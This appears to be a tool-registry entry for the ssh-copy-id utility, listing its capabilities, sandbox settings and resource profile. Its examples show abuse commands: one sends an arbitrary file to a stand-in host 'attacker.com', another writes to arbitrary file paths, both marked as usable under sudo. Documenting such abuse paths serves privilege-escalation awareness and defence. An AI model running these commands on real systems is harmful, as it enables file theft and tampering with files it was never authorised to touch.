network enabled community medium v1.0.0

ssh-copy-id

Install SSH public keys on remote hosts; can write to authorized_keys and spawn shells.

📋 Live Preview
ssh-copy-id
ssh-copy-id

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.read
system.file.write

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Read arbitrary files (sudo, unprivileged)

ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com

Write to arbitrary files (sudo, unprivileged)

ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host

Documentation

ssh-copy-id

ssh-copy-id is a command-line utility. Install SSH public keys on remote servers; can also read arbitrary files, write to arbitrary files.

References